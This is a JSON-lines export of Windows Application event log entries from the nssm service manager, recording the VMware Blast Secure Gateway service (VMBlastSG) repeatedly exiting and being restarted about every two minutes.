{"@timestamp":1646749466900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156824","0"]}}},"module":"Application","provider":"nssm","sequence":161662}}
{"@timestamp":1646749466902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156824","156824","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161663}}
{"@timestamp":1646749466920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161664}}
{"@timestamp":1646749466921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161665}}
{"@timestamp":1646749466921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161666}}
{"@timestamp":1646749466922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161667}}
{"@timestamp":1646749595408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161668}}
{"@timestamp":1646749595408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161669}}
{"@timestamp":1646749595409,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158280","0"]}}},"module":"Application","provider":"nssm","sequence":161670}}
{"@timestamp":1646749595410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158280","158280","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161671}}
{"@timestamp":1646749595431,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161672}}
{"@timestamp":1646749595432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161673}}
{"@timestamp":1646749595432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161674}}
{"@timestamp":1646749595433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161675}}
{"@timestamp":1646749724566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161676}}
{"@timestamp":1646749724568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161677}}
{"@timestamp":1646749724569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155876","0"]}}},"module":"Application","provider":"nssm","sequence":161678}}
{"@timestamp":1646749724569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155876","155876","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161679}}
{"@timestamp":1646749724586,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161680}}
{"@timestamp":1646749724587,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161681}}
{"@timestamp":1646749724588,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161682}}
{"@timestamp":1646749724589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161683}}
{"@timestamp":1646749853245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161684}}
{"@timestamp":1646749853245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161685}}
{"@timestamp":1646749853247,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157420","0"]}}},"module":"Application","provider":"nssm","sequence":161686}}
{"@timestamp":1646749853249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157420","157420","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161687}}
{"@timestamp":1646749853267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161688}}
{"@timestamp":1646749853267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161689}}
{"@timestamp":1646749853268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161690}}
{"@timestamp":1646749853269,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161691}}
{"@timestamp":1646749981761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161692}}
{"@timestamp":1646749981762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161693}}
{"@timestamp":1646749981764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152892","0"]}}},"module":"Application","provider":"nssm","sequence":161694}}
{"@timestamp":1646749981765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152892","152892","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161695}}
{"@timestamp":1646749981783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161696}}
{"@timestamp":1646749981784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161697}}
{"@timestamp":1646749981784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161698}}
{"@timestamp":1646749981785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161699}}
{"@timestamp":1646750110279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161700}}
{"@timestamp":1646750110280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161701}}
{"@timestamp":1646750110281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158012","0"]}}},"module":"Application","provider":"nssm","sequence":161702}}
{"@timestamp":1646750110283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158012","158012","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161703}}
{"@timestamp":1646750110300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161704}}
{"@timestamp":1646750110300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161705}}
{"@timestamp":1646750110301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161706}}
{"@timestamp":1646750110302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161707}}
{"@timestamp":1646750238842,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161708}}
{"@timestamp":1646750238844,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161709}}
{"@timestamp":1646750238844,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157860","0"]}}},"module":"Application","provider":"nssm","sequence":161710}}
{"@timestamp":1646750238845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157860","157860","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161711}}
{"@timestamp":1646750238864,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161712}}
{"@timestamp":1646750238865,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161713}}
{"@timestamp":1646750238865,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161714}}
{"@timestamp":1646750238866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161715}}
{"@timestamp":1646750367376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161716}}
{"@timestamp":1646750367377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161717}}
{"@timestamp":1646750367378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158116","0"]}}},"module":"Application","provider":"nssm","sequence":161718}}
{"@timestamp":1646750367379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158116","158116","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161719}}
{"@timestamp":1646750367397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161720}}
{"@timestamp":1646750367398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161721}}
{"@timestamp":1646750367398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161722}}
{"@timestamp":1646750367399,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161723}}
{"@timestamp":1646750495917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161724}}
{"@timestamp":1646750495919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161725}}
{"@timestamp":1646750495919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156556","0"]}}},"module":"Application","provider":"nssm","sequence":161726}}
{"@timestamp":1646750495920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156556","156556","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161727}}
{"@timestamp":1646750495935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161728}}
{"@timestamp":1646750495936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161729}}
{"@timestamp":1646750495937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161730}}
{"@timestamp":1646750495937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161731}}
{"@timestamp":1646750624432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161732}}
{"@timestamp":1646750624435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161733}}
{"@timestamp":1646750624435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159128","0"]}}},"module":"Application","provider":"nssm","sequence":161734}}
{"@timestamp":1646750624436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159128","159128","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161735}}
{"@timestamp":1646750624452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161736}}
{"@timestamp":1646750624453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161737}}
{"@timestamp":1646750624454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161738}}
{"@timestamp":1646750624455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161739}}
{"@timestamp":1646750752983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161740}}
{"@timestamp":1646750752985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161741}}
{"@timestamp":1646750752988,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159668","0"]}}},"module":"Application","provider":"nssm","sequence":161742}}
{"@timestamp":1646750752989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159668","159668","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161743}}
{"@timestamp":1646750753007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161744}}
{"@timestamp":1646750753007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161745}}
{"@timestamp":1646750753008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161746}}
{"@timestamp":1646750753009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161747}}
{"@timestamp":1646750881626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161748}}
{"@timestamp":1646750881627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161749}}
{"@timestamp":1646750881628,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159108","0"]}}},"module":"Application","provider":"nssm","sequence":161750}}
{"@timestamp":1646750881629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159108","159108","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161751}}
{"@timestamp":1646750881650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161752}}
{"@timestamp":1646750881651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161753}}
{"@timestamp":1646750881651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161754}}
{"@timestamp":1646750881653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161755}}
{"@timestamp":1646751010145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161756}}
{"@timestamp":1646751010146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161757}}
{"@timestamp":1646751010146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158332","0"]}}},"module":"Application","provider":"nssm","sequence":161758}}
{"@timestamp":1646751010147,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158332","158332","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161759}}
{"@timestamp":1646751010164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161760}}
{"@timestamp":1646751010165,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161761}}
{"@timestamp":1646751010166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161762}}
{"@timestamp":1646751010166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161763}}
{"@timestamp":1646751138676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161764}}
{"@timestamp":1646751138678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161765}}
{"@timestamp":1646751138678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159456","0"]}}},"module":"Application","provider":"nssm","sequence":161766}}
